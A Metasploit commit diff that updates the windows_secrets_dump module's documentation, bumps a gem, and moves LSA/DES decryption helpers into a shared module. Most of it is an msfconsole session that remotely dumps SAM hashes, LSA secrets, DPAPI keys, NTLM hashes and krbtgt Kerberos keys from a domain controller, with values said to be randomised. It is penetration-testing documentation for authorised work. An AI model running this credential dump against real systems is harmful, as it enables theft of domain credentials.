Land #15924, Updates to Windows Secrets Dump

This commit is contained in:
Spencer McIntyre 2022-01-05 13:25:59 -05:00
commit d0417f60bd
No known key found for this signature in database
GPG Key ID: 58101BA0D0D9C987
13 changed files with 1832 additions and 993 deletions

View File

@ -73,7 +73,7 @@ PATH
rex-text
rex-zip
ruby-macho
ruby_smb (~> 2.0)
ruby_smb (~> 3.0)
rubyntlm
rubyzip
sinatra
@ -432,7 +432,7 @@ GEM
ruby-progressbar (1.11.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (2.0.13)
ruby_smb (3.0.0)
bindata
openssl-ccm
openssl-cmac

View File

@ -3,16 +3,21 @@
The `windows_secrets_dump` auxiliary module dumps SAM hashes and LSA secrets
(including cached creds) from the remote Windows target without executing any
agent locally. First, it reads as much data as possible from the registry and
then save the hives locally on the target (%SYSTEMROOT%\\random.tmp).
then save the hives locally on the target (`%SYSTEMROOT%\\random.tmp`).
Finally, it downloads the temporary hive files and reads the rest of the data
from it. These temporary files are removed when it's done.
On domain controllers, secrets from Active Directory is extracted using [MS-DRDS]
DRSGetNCChanges(), replicating the attributes we need to get SIDs, NTLM hashes,
groups, password history, Kerberos keys and other interesting data. Note that
the actual `NTDS.dit` file is not downloaded. Instead, the Directory
Replication Service directly asks Active Directory through RPC requests.
This modules takes care of starting or enabling the Remote Registry service if
needed. It will restore the service to its original state when it's done.
This is a port of the great Impacket `secretsdump.py` code written by Alberto
Solino. Note that the `NTDS.dit` technique has not been implement yet. It will
be done in a next iteration.
Solino.
### Setup
A privileged user is required to run this module, typically a local or domain
@ -40,137 +45,275 @@ Windows XP/Server 2003 to Windows 10/Server version 2004.
## Options
Apart from the standard SMB options, no other specific options are needed.
## Actions
### ALL
This dumps everything (SAM hashes, Cache data, LSA secrets and DOMAIN info).
This is the default action.
### SAM
This only dumps the SAM hashes.
### CACHE
This only dumps the Cached data.
### LSA
This only dumps the LSA secrets.
### DOMAIN
This only dumps the NTDS.dit secrets from Active Directory (credentials,
password history, Kerberos keys, etc.).
## Scenarios
The data shown below has been altered with random data to avoid exposing
sensitive information.
### Windows 10 Version 1809
### Windows Server 2012 (Domain Controller)
```
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(gather/windows_secrets_dump) > options
Module options (auxiliary/gather/windows_secrets_dump):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RHOSTS 192.168.100.123 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
SMBPass 123456 no The password for the specified username
SMBUser msfuser no The username to authenticate as
Auxiliary action:
Name Description
---- -----------
ALL Dump everything
msf6 auxiliary(gather/windows_secrets_dump) > set RHOSTS 192.68.43.12
RHOSTS => 192.68.43.12
msf6 auxiliary(gather/windows_secrets_dump) > set SMBUser msfuser
SMBUser => msfuser
msf6 auxiliary(gather/windows_secrets_dump) > set SMBPass mypasswd
SMBPass => mypasswd
msf6 auxiliary(gather/windows_secrets_dump) > run
[*] Running module against 192.68.43.12
[*] Running module against 192.168.100.123
[*] 192.68.43.12:445 - Service RemoteRegistry is in stopped state
[*] 192.68.43.12:445 - Starting service...
[*] 192.68.43.12:445 - Retrieving target system bootKey
[+] 192.68.43.12:445 - bootKey: 0x3d354aa5e14d4360a1cc378a9e47338c
[*] 192.68.43.12:445 - Saving remote SAM database
[*] 192.68.43.12:445 - Dumping SAM hashes
[*] 192.68.43.12:445 - Password hints:
[*] 192.168.100.123:445 - Service RemoteRegistry is in stopped state
[*] 192.168.100.123:445 - Starting service...
[*] 192.168.100.123:445 - Retrieving target system bootKey
[+] 192.168.100.123:445 - bootKey: 0x8f52b915365487d0b2005d3e6ae6eb2b
[*] 192.168.100.123:445 - Saving remote SAM database
[*] 192.168.100.123:445 - Dumping SAM hashes
[*] 192.168.100.123:445 - Password hints:
No users with password hints on this system
[*] 192.68.43.12:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::):
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b7759c83c817e8b0082fb322bce0073b:::
msfuser:1001:aad3b435b51404eeaad3b435b51404ee:035ad5f5a5c251c6fc3ba367bee86858:::
[*] 192.68.43.12:445 - Saving remote SECURITY database
[*] 192.68.43.12:445 - Decrypting LSA Key
[*] 192.68.43.12:445 - Dumping LSA Secrets
[*] 192.168.100.123:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::):
Administrator:500:aad3b435b51404eeaad3b435b51404ee:958be10a71d239e318078816aa929d08:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:84c140afd4e203cc90a977580e78f768:::
[*] 192.168.100.123:445 - Saving remote SECURITY database
[*] 192.168.100.123:445 - Decrypting LSA Key
[*] 192.168.100.123:445 - Dumping LSA Secrets
$MACHINE.ACC
MYDOMAIN\MYDESKTOP$:aes256-cts-hmac-sha1-96:8f84e173f9a44708b56806e3d5ee9fa4d21c8edd0da7d29d64cf6122de399b07
MYDOMAIN\MYDESKTOP$:aes128-cts-hmac-sha1-96:324719fca31fb90274acbd0bf07abf00
MYDOMAIN\MYDESKTOP$:des-cbc-md5:7561afef18d6e7bb
MYDOMAIN\MYDESKTOP$:aad3b435b51404eeaad3b435b51404ee:0cb18b83ab17e808b6604175784e8ec2:::
MYLAB\WIN-340ED5H7S8$:plain_password_hex:b4ac4211cc8ec3f63cf005590bb06aad9c7bd5576ae57b21843d8973b5c208e0ad39b1c7f574d50be9c36fcd379315fccfae3d334364f19df40929b75d7592bf5df715318e2796e68fa59259017ee80b06bc1ac140fb14402c032273101488ab8a0868e90b9ec4e94b73e2b51a6bf9de518474e0cef7f1c7f8f38a575a2bb253dd97ffc0373b6c591cc66acf78ac77da42282291f77b8f4aef0ef9c5e293351caee2dec7c282106603b9d6e2618110394abc1182ae66b3777b738742c087e671e659e547bc45d7fc887407cf89517a4d51bff56f9a31c270037df1a7b80eba0926825a58ae0ee9878ab355cd4062d0b9
MYLAB\WIN-340ED5H7S8$:aes256-cts-hmac-sha1-96:90f28a5df2b417c96ca2fa18676f3735c4a697b94005378664169f96778400bb
MYLAB\WIN-340ED5H7S8$:aes128-cts-hmac-sha1-96:5895d4b7a9400f1d6565c1989320a1c6
MYLAB\WIN-340ED5H7S8$:des-cbc-md5:638a17d7c3480c12
MYLAB\WIN-340ED5H7S8$:aad3b435b51404eeaad3b435b51404ee:2abda1b5b936ed310fa624d6afbc4c52:::
DefaultPassword
(Unknown User): FOO$000
DPAPI_SYSTEM
dpapi_machinekey: 0xa197fe18d264c79b0996b3a987fcd6ea3b6191a6
dpapi_userkey: 0xab025408f16dc46e6ba79a559751ea4890daf97b
L$ASP.NETAutoGenKeysV44.0.30319.0
09 5a a2 cf 23 a2 09 ee 4e 55 7b e4 53 98 5c 6c |.Z..#...NU{.S.\l|
6d cb 41 00 c8 18 4a 58 95 15 c6 56 98 fe da 79 |m.A...JX...V...y|
71 d8 43 50 6f 23 f7 0b b9 97 50 d8 b2 a4 4c c9 |q.CPo#....P...L.|
43 e6 45 23 ec ec 43 72 8c 1f 50 ad 52 a2 64 92 |C.E#..Cr..P.R.d.|
4a 03 8e be b6 fc 85 4b 65 e3 d0 c7 66 34 0b 14 |J......Ke...f4..|
13 ae e7 13 c8 25 6b f1 be 55 a4 fe de fa 4b 1d |.....%k..U....K.|
0a f5 4d 68 ea 3c 3b 65 d1 69 eb 70 5b 7d 35 1c |..Mh.<;e.i.p[}5.|
97 d6 e0 d1 15 65 4e 52 dc 1e 11 9e 35 6a 82 59 |.....eNR....5j.Y|
30 98 e1 d2 64 0e 2c 2b 4c dd e6 fd 02 36 21 c1 |0...d.,+L....6!.|
54 e0 18 7c e0 56 ee 25 4b ab b9 75 70 d2 cf c9 |T..|.V.%K..up...|
38 8e 06 20 31 75 ca 52 d3 9f 6d 99 80 9c f1 ab |8.. 1u.R..m.....|
56 51 e3 de 62 be d4 bb ce f7 6b 9c f5 88 74 a7 |VQ..b.....k...t.|
54 29 51 47 3b e2 9b 7a |T)QG;..z|
Hex string: 095aa2cf23a209ee4e557be453985c6c6dcb4100c8184a589515c65698feda7971d843506f23f70bb99750d8b2a44cc943e64523ecec43728c1f50ad52a264924a038ebeb6fc854b65e3d0c766340b1413aee713c8256bf1be55a4fedefa4b1d0af54d68ea3c3b65d169eb705b7d351c97d6e0d115654e52dc1e119e356a82593098e1d2640e2c2b4cdde6fd023621c154e0187ce056ee254babb97570d2cfc9388e06203175ca52d39f6d99809cf1ab5651e3de62bed4bbcef76b9cf58874a7542951473be29b7a
dpapi_machinekey: 0xec969866a5bf6bd74f50c790536e58f8cd45da24
dpapi_userkey: 0xc67ad895123894e9d5d5efd0cf84c00b618cc48e
NL$KM
40 76 27 cd 14 f9 b3 6e a5 19 fd 03 bd c7 d9 99 |@v'....n........|
f2 b0 91 78 44 80 e7 b3 7d b6 4f 26 0a 61 8c 6f |...xD...}.O&.a.o|
c5 20 e2 65 de ef 98 13 92 e8 db c9 51 3b 5a c2 |. .e........Q;Z.|
fd 19 66 e6 e9 cd 4f 11 ec 08 82 1b 16 be 41 38 |..f...O.......A8|
Hex string: 407627cd14f9b36ea519fd03bdc7d999f2b091784480e7b37db64f260a618c6fc520e265deef981392e8dbc9513b5ac2fd1966e6e9cd4f11ec08821b16be4138
75 31 51 ae 2c 00 3c aa ff 73 db 34 46 c2 93 06 |u1Q.,.<..s.4F...|
81 85 02 41 02 ad 1b bd 2f 18 e3 4c b4 a7 c4 8a |...A..../..L....|
3c 0f d4 29 74 91 a3 08 60 e4 41 1b 84 e8 0e 68 |<..)t...`.A....h|
67 7a 69 31 b0 e5 1e f9 e1 a6 f5 53 95 12 c3 47 |gzi1.......S...G|
Hex string: 2a2b513771a2bebc7395ee9648dd7a5e771d52bac713c6edd28f32b3f9259516ca19f562d7f633f55a02dd7f6d4471b7f66ae539327c64fd3c49cdbb267417e1
[*] 192.68.43.12:445 - Decrypting NL$KM
[*] 192.68.43.12:445 - Dumping cached hashes
[*] 192.68.43.12:445 - Hashes are in 'mscash2' format
MYDOMAIN/msfuser:$DCC2$10240#msfuser#86d8081dd11a232080037a83f2165732:MYDOMAIN.INTERNAL:MYDOMAIN
[*] 192.168.100.123:445 - Decrypting NL$KM
[*] 192.168.100.123:445 - Dumping cached hashes
No cached hashes on this system
[*] 192.168.100.123:445 - Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] 192.168.100.123:445 - Using the DRSUAPI method to get NTDS.DIT secrets
# SID's:
MYLAB\Administrator: S-1-5-21-413541012-3457123-5043211362-500
MYLAB\Guest: S-1-5-21-413541012-3457123-5043211362-501
MYLAB\krbtgt: S-1-5-21-413541012-3457123-5043211362-502
MYLAB\msfuser: S-1-5-21-413541012-3457123-5043211362-1105
MYLAB\test: S-1-5-21-413541012-3457123-5043211362-1110
MYLAB\WIN-340ED5H7S8$: S-1-5-21-413541012-3457123-5043211362-1001
MYLAB\DESKTOP-EQR2M7J$: S-1-5-21-413541012-3457123-5043211362-1104
MYLAB\WIN-K1F52W6Q3T1$: S-1-5-21-413541012-3457123-5043211362-1107
MYLAB\WIN-51S22F6Q7TW$: S-1-5-21-413541012-3457123-5043211362-1109
MYLAB\WIN2003X86$: S-1-5-21-413541012-3457123-5043211362-1602
[*] 192.68.43.12:445 - Cleaning up...
[*] 192.68.43.12:445 - Stopping service RemoteRegistry...
# NTLM hashes:
MYLAB\Administrator:500:aad3b435b51404eeaad3b435b51404ee:6a2e4f12c8962251d42e8413d9a145bd:::
MYLAB\Guest:501:aad3b435b51404eeaad3b435b51404ee:0b133f7d7a06732dbb9be367f1123542:::
MYLAB\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:06b220fae92049837807f2398d2c4d7e:::
MYLAB\msfuser:1105:aad3b435b51404eeaad3b435b51404ee:6a2e4f12c8962251d42e8413d9a145bd:::
MYLAB\test:1110:aad3b435b51404eeaad3b435b51404ee:6a2e4f12c8962251d42e8413d9a145bd:::
MYLAB\WIN-340ED5H7S8$:1001:aad3b435b51404eeaad3b435b51404ee:9d58c33fe9fe500125a9b72b51c4b5b5:::
MYLAB\DESKTOP-EQR2M7J$:1104:aad3b435b51404eeaad3b435b51404ee:2d634718372014e58f1cb37e51954e78:::
MYLAB\WIN-K1F52W6Q3T1$:1107:aad3b435b51404eeaad3b435b51404ee:14ca1e6a9f228e586c416a3d4c787892:::
MYLAB\WIN-51S22F6Q7TW$:1109:aad3b435b51404eeaad3b435b51404ee:81d8d1901fc651b09a9654f695e4ff7c:::
MYLAB\WIN2003X86$:1602:aad3b435b51404eeaad3b435b51404ee:6ded122fc7e0505a3b3f8286d9131c4c:::
# Full pwdump format:
MYLAB\Administrator:500:aad3b435b51404eeaad3b435b51404ee:6a2e4f12c8962251d42e8413d9a145bd:Disabled=false,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202108100936,LastLogonTimestamp=202109271034,IsAdministrator=true,IsDomainAdmin=true,IsEnterpriseAdmin=true::
MYLAB\Guest:501:aad3b435b51404eeaad3b435b51404ee:0b133f7d7a06732dbb9be367f1123542:Disabled=true,Expired=false,PasswordNeverExpires=true,PasswordNotRequired=true,PasswordLastChanged=never,LastLogonTimestamp=never,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
MYLAB\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:06b220fae92049837807f2398d2c4d7e:Disabled=true,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202106091817,LastLogonTimestamp=never,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
MYLAB\msfuser:1105:aad3b435b51404eeaad3b435b51404ee:6a2e4f12c8962251d42e8413d9a145bd:Disabled=false,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202106100950,LastLogonTimestamp=202109271329,IsAdministrator=true,IsDomainAdmin=false,IsEnterpriseAdmin=false::
MYLAB\test:1110:aad3b435b51404eeaad3b435b51404ee:6a2e4f12c8962251d42e8413d9a145bd:Disabled=false,Expired=true,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202108121626,LastLogonTimestamp=never,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
MYLAB\WIN-340ED5H7S8$:1001:aad3b435b51404eeaad3b435b51404ee:9d58c33fe9fe500125a9b72b51c4b5b5:Disabled=false,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202109241046,LastLogonTimestamp=202109241046,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
MYLAB\DESKTOP-EQR2M7J$:1104:aad3b435b51404eeaad3b435b51404ee:2d634718372014e58f1cb37e51954e78:Disabled=false,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202108101043,LastLogonTimestamp=202108101043,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
MYLAB\WIN-K1F52W6Q3T1$:1107:aad3b435b51404eeaad3b435b51404ee:14ca1e6a9f228e586c416a3d4c787892:Disabled=true,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202108091014,LastLogonTimestamp=202108091014,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
MYLAB\WIN-51S22F6Q7TW$:1109:aad3b435b51404eeaad3b435b51404ee:81d8d1901fc651b09a9654f695e4ff7c:Disabled=false,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202109281101,LastLogonTimestamp=202109281101,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
MYLAB\WIN2003X86$:1602:aad3b435b51404eeaad3b435b51404ee:6ded122fc7e0505a3b3f8286d9131c4c:Disabled=false,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202109291610,LastLogonTimestamp=202109291610,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
# Account Info:
## CN=Administrator,CN=Users,DC=mylab,DC=local
- Administrator: true
- Domain Admin: true
- Enterprise Admin: true
- Password last changed: 2021-08-10 09:36:31 UTC
- Last logon: 2021-09-27 10:34:20 UTC
- Account disabled: false
- Computer account: false
- Expired: false
- Password never expires: false
- Password not required: false
## CN=Guest,CN=Users,DC=mylab,DC=local
- Administrator: false
- Domain Admin: false
- Enterprise Admin: false
- Password last changed: never
- Last logon: never
- Account disabled: true
- Computer account: false
- Expired: false
- Password never expires: true
- Password not required: true
## CN=krbtgt,CN=Users,DC=mylab,DC=local
- Administrator: false
- Domain Admin: false
- Enterprise Admin: false
- Password last changed: 2021-06-09 18:17:48 UTC
- Last logon: never
- Account disabled: true
- Computer account: false
- Expired: false
- Password never expires: false
- Password not required: false
## CN=msfuser,CN=Users,DC=mylab,DC=local
- Administrator: true
- Domain Admin: false
- Enterprise Admin: false
- Password last changed: 2021-06-10 09:50:47 UTC
- Last logon: 2021-09-27 13:29:04 UTC
- Account disabled: false
- Computer account: false
- Expired: false
- Password never expires: false
- Password not required: false
## CN=Test Foo,CN=Users,DC=mylab,DC=local
- Administrator: false
- Domain Admin: false
- Enterprise Admin: false
- Password last changed: 2021-08-12 16:26:34 UTC
- Last logon: never
- Account disabled: false
- Computer account: false
- Expired: true
- Password never expires: false
- Password not required: false
## CN=WIN-340ED5H7S8,OU=Domain Controllers,DC=mylab,DC=local
- Administrator: false
- Domain Admin: false
- Enterprise Admin: false
- Password last changed: 2021-09-24 10:46:19 UTC
- Last logon: 2021-09-24 10:46:19 UTC
- Account disabled: false
- Computer account: true
- Expired: false
- Password never expires: false
- Password not required: false
## CN=DESKTOP-EQR2M7J,CN=Computers,DC=mylab,DC=local
- Administrator: false
- Domain Admin: false
- Enterprise Admin: false
- Password last changed: 2021-08-10 10:43:17 UTC
- Last logon: 2021-08-10 10:43:17 UTC
- Account disabled: false
- Computer account: true
- Expired: false
- Password never expires: false
- Password not required: false
## CN=WIN-K1F52W6Q3T1,CN=Computers,DC=mylab,DC=local
- Administrator: false
- Domain Admin: false
- Enterprise Admin: false
- Password last changed: 2021-08-09 10:14:39 UTC
- Last logon: 2021-08-09 10:14:39 UTC
- Account disabled: true
- Computer account: true
- Expired: false
- Password never expires: false
- Password not required: false
## CN=WIN-51S22F6Q7TW,CN=Computers,DC=mylab,DC=local
- Administrator: false
- Domain Admin: false
- Enterprise Admin: false
- Password last changed: 2021-09-28 11:01:18 UTC
- Last logon: 2021-09-28 11:01:18 UTC
- Account disabled: false
- Computer account: true
- Expired: false
- Password never expires: false
- Password not required: false
## CN=WIN2003X86,CN=Computers,DC=mylab,DC=local
- Administrator: false
- Domain Admin: false
- Enterprise Admin: false
- Password last changed: 2021-09-29 16:10:48 UTC
- Last logon: 2021-09-29 16:10:56 UTC
- Account disabled: false
- Computer account: true
- Expired: false
- Password never expires: false
- Password not required: false
# Password history:
# Kerberos keys:
MYLAB\Administrator:aes256-cts-hmac-sha1-96:058c9987a38ad78866470144eccc90693206bef1b29ef0ef2175f89af61cb2a0
MYLAB\Administrator:aes128-cts-hmac-sha1-96:c6ad3b805f833825986d0ac34e0f0858
MYLAB\Administrator:des-cbc-md5:9b86a5602257f19c
MYLAB\krbtgt:aes256-cts-hmac-sha1-96:a4d8fa9750a53569f003b250ecb55a3e4754e9e1e39c82fc373dfa7755e51860
MYLAB\krbtgt:aes128-cts-hmac-sha1-96:cde0828d4c759db5195d5b446df27d5a
MYLAB\krbtgt:des-cbc-md5:e1a9fdabc87fc7fc
MYLAB\msfuser:aes256-cts-hmac-sha1-96:580b30f097e5f2267502fbfb7038b7d34ed409bf5f043046a6d75372f4748c33
MYLAB\msfuser:aes128-cts-hmac-sha1-96:ca2c4e745e288a59ba17c2070500f1d0
MYLAB\msfuser:des-cbc-md5:ba53b946595b3176
MYLAB\test:aes256-cts-hmac-sha1-96:373f317dcfe7f2293ec881fc1665ca61641122f113e61e228c4484fb7db258df
MYLAB\test:aes128-cts-hmac-sha1-96:f6e104637495f01efaab2b1a2837918e
MYLAB\test:des-cbc-md5:2a27b26587ecf324
MYLAB\WIN-340ED5H7S8$:aes256-cts-hmac-sha1-96:bff8719d09c6f61f8576298c3a5ce00449fa86fc465896b8e0c65b13be04df27
MYLAB\WIN-340ED5H7S8$:aes128-cts-hmac-sha1-96:df3013df51167b8c988979bcbbb9aad4
MYLAB\WIN-340ED5H7S8$:des-cbc-md5:8da9946eedeb4c82
MYLAB\DESKTOP-EQR2M7J$:aes256-cts-hmac-sha1-96:b6b0e92ae339cb75babed5d1208cf931f499e69e87cf2147a4712416ffc6f554
MYLAB\DESKTOP-EQR2M7J$:aes128-cts-hmac-sha1-96:8481edf93ce4ca794d1de03bb00e4940
MYLAB\DESKTOP-EQR2M7J$:des-cbc-md5:1ca4baae341a6c8f
MYLAB\WIN-K1F52W6Q3T1$:aes256-cts-hmac-sha1-96:b57511524ba578a836dc11751070d310d959dd29c6a5a9d46018f26e0d9cf6a8
MYLAB\WIN-K1F52W6Q3T1$:aes128-cts-hmac-sha1-96:2ff7e707a2bcbaaba22ee4e633d1cce5
MYLAB\WIN-K1F52W6Q3T1$:des-cbc-md5:93f42858f59c07f2
MYLAB\WIN-51S22F6Q7TW$:aes256-cts-hmac-sha1-96:01a3e2f3a502324146bd2617961dc5e07e1406eadc3aa5cf97e44843f6773e88
MYLAB\WIN-51S22F6Q7TW$:aes128-cts-hmac-sha1-96:f03d11faf242766cd08dd7aea5c7bbcc
MYLAB\WIN-51S22F6Q7TW$:des-cbc-md5:37ee33c8fd401430
MYLAB\WIN2003X86$:aes256-cts-hmac-sha1-96:a678f096c08c570385a107bdc45184e47366a3ccbdb5333644c548f58d4d6b3c
MYLAB\WIN2003X86$:aes128-cts-hmac-sha1-96:ff2d54f76093a7641b6825df28203543
MYLAB\WIN2003X86$:des-cbc-md5:7cfa87f92422ea78
# Clear text passwords:
[*] 192.168.100.123:445 - Cleaning up...
[*] 192.168.100.123:445 - Stopping service RemoteRegistry...
[*] Auxiliary module execution completed
msf6 auxiliary(gather/windows_secrets_dump) > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.68.43.12 MYDESKTOP Unknown device
msf6 auxiliary(gather/windows_secrets_dump) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.68.43.12 445 tcp smb open Module: auxiliary/gather/windows_secrets_dump, last negotiated version: SMBv3 (dialect = 0x0311)
msf6 auxiliary(gather/windows_secrets_dump) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.68.43.12 192.68.43.12 445/tcp (smb) MYDOMAIN\msfuser MYDOMAIN/msfuser:$DCC2$10240#msfuser#86d8081dd11a232080037a83f2165732:MYDOMAIN.INTE (TRUNCATED) MYDOMAIN Nonreplayable hash mscash2
192.68.43.12 192.68.43.12 445/tcp (smb) Guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm
192.68.43.12 192.68.43.12 445/tcp (smb) Administrator aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm
192.68.43.12 192.68.43.12 445/tcp (smb) WDAGUtilityAccount aad3b435b51404eeaad3b435b51404ee:b7759c83c817e8b0082fb322bce0073b NTLM hash nt,lm
192.68.43.12 192.68.43.12 445/tcp (smb) msfuser aad3b435b51404eeaad3b435b51404ee:035ad5f5a5c251c6fc3ba367bee86858 NTLM hash nt,lm
192.68.43.12 192.68.43.12 445/tcp (smb) MYDOMAIN\MYDESKTOP$ aad3b435b51404eeaad3b435b51404ee:0cb18b83ab17e808b6604175784e8ec2 MYDOMAIN NTLM hash nt,lm
192.68.43.12 192.68.43.12 445/tcp (smb) MYDOMAIN\MYDESKTOP$ MYDOMAIN\MYDESKTOP$:aes256-cts-hmac-sha1-96:8f84e173f9a44708b56806e3d5ee9fa4d21c8ed (TRUNCATED) MYDOMAIN Password
192.68.43.12 192.68.43.12 445/tcp (smb) MYDOMAIN\MYDESKTOP$ MYDOMAIN\MYDESKTOP$:aes128-cts-hmac-sha1-96:324719fca31fb90274acbd0bf07abf00 MYDOMAIN Password
192.68.43.12 192.68.43.12 445/tcp (smb) MYDOMAIN\MYDESKTOP$ MYDOMAIN\MYDESKTOP$:des-cbc-md5:7561afef18d6e7bb MYDOMAIN Password
192.68.43.12 192.68.43.12 445/tcp (smb) DefaultAccount aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm
msf6 auxiliary(gather/windows_secrets_dump) > notes
Notes
=====
Time Host Service Port Protocol Type Data
---- ---- ------- ---- -------- ---- ----
2020-08-13 12:20:16 UTC 192.68.43.12 smb 445 tcp host.boot_key "3d354aa5e14d4360a1cc378a9e47338c"
2020-08-13 12:20:20 UTC 192.68.43.12 smb 445 tcp host.lsa_key "0483f343addb39221136da0a0f52397aef02e6ee5d8bd05d49390ab97e05dc45"
2020-08-13 12:20:20 UTC 192.68.43.12 smb 445 tcp dpapi.machine_key "a197fe18d264c79b0996b3a987fcd6ea3b6191a6"
2020-08-13 12:20:20 UTC 192.68.43.12 smb 445 tcp dpapi.user_key "ab025408f16dc46e6ba79a559751ea4890daf97b"
2020-08-13 12:20:20 UTC 192.68.43.12 smb 445 tcp host.nlkm_key "40000000000000000000000000000000407627cd14f9b36ea519fd03bdc7d999f2b091784480e7b37db64f260a618c6fc520e265deef981392e8dbc9513b5ac2fd1966e6e9cd4f11ec08821b16be4138e0dd79c41522331dcc5005d731c1738f"
2020-08-13 12:20:21 UTC 192.68.43.12 smb 445 tcp user.cache_info "Username: msfuser; Iteration count: 10 -> real 10240; Last login: 2020-08-01 20:00:02 +0100; DNS Domain Name: MYDOMAIN.INTERNAL; UPN: msfuser@mydomain.internal; Effective Name: msfuser; Full Name: msfuser; Logon Script: ; Profile Path: ; Home Directory: ; Home Directory Drive: ; User ID: 1004; Primary Group ID: 513; Additional groups: 513; Logon domain name: MYDOMAIN"
```

View File

@ -3,6 +3,7 @@
module Msf::Post::Windows::Priv
include ::Msf::Post::Windows::Accounts
include Msf::Post::Windows::Registry
include Msf::Util::WindowsCryptoHelpers
INTEGRITY_LEVEL_SID = {
:low => 'S-1-16-4096',
@ -266,48 +267,6 @@ module Msf::Post::Windows::Priv
return descrambled
end
#
# Converts DES 56 to DES 64
#
def convert_des_56_to_64(kstr)
des_odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]
key = []
str = kstr.unpack("C*")
key[0] = str[0] >> 1
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
key[7] = str[6] & 0x7F
0.upto(7) do |i|
key[i] = ( key[i] << 1)
key[i] = des_odd_parity[key[i]]
end
return key.pack("C*")
end
#
# Returns the LSA key upon input of the unscrambled bootkey
#
@ -362,70 +321,4 @@ module Msf::Post::Windows::Priv
@lsa_vista_style
end
# Decrypts LSA encrypted data
#
# @param policy_secret [String] The encrypted data stored in the
# registry.
# @param lsa_key [String] The key as returned by {#capture_lsa_key}
# @return [String] The decrypted data
def decrypt_lsa_data(policy_secret, lsa_key)
sha256x = Digest::SHA256.new()
sha256x << lsa_key
1000.times do
sha256x << policy_secret[28,32]
end
aes = OpenSSL::Cipher.new("aes-256-cbc")
aes.decrypt
aes.key = sha256x.digest
vprint_status("digest #{sha256x.digest.unpack("H*")[0]}")
decrypted_data = ''
(60...policy_secret.length).step(16) do |i|
aes.reset
aes.padding = 0
decrypted_data << aes.update(policy_secret[i,16])
end
return decrypted_data
end
# Decrypts "Secret" encrypted data
#
